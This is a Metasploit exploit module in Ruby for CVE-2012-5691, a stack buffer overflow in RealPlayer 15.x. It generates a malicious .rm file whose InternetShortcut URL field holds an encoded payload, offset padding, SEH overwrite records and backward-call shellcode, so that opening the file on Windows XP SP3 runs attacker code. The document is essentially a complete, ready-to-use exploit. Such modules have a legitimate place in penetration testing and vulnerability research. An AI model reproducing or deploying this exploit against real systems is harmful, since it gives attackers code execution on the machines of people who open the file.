RealPlayer RealMedia File Handling Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealPlayer RealMedia File Handling Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
    The vulnerability exists in the handling of real media files, due to the insecure
    usage of the GetPrivateProfileString function to retrieve the URL property from an
    InternetShortcut section.

    This module generates a malicious rm file which must be opened with RealPlayer via
    drag and drop or double click methods. It has been tested successfully on Windows
    XP SP3 with RealPlayer 15.0.5.109.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-5691' ],
     [ 'OSVDB', '88486' ],
     [ 'BID', '56956' ],
     [ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'process'
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'BadChars'    => "\x00\x0a\x0d",
     'DisableNops' => true,
     'Space'       => 2000
    },
   'Targets'        =>
    [
     [ 'Windows XP SP3 / Real Player 15.0.5.109',
      {
       'Ret'       => 0x63f2b4b5, # ppr from rpap3260.dll
       'OffsetOne' => 2312, # Open via double click
       'OffsetTwo' => 2964 # Open via drag and drop
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 14 2012',
   'DefaultTarget'  => 0))

  register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)

 end

 def exploit

  buffer = payload.encoded
  buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
  buffer << generate_seh_record(target.ret)
  buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
  buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
  buffer << generate_seh_record(target.ret)
  buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
  buffer << rand_text(7000) # Generate exception

  content = "[InternetShortcut]\nURL="
  filecontent = content+buffer

  file_create(filecontent)

 end
end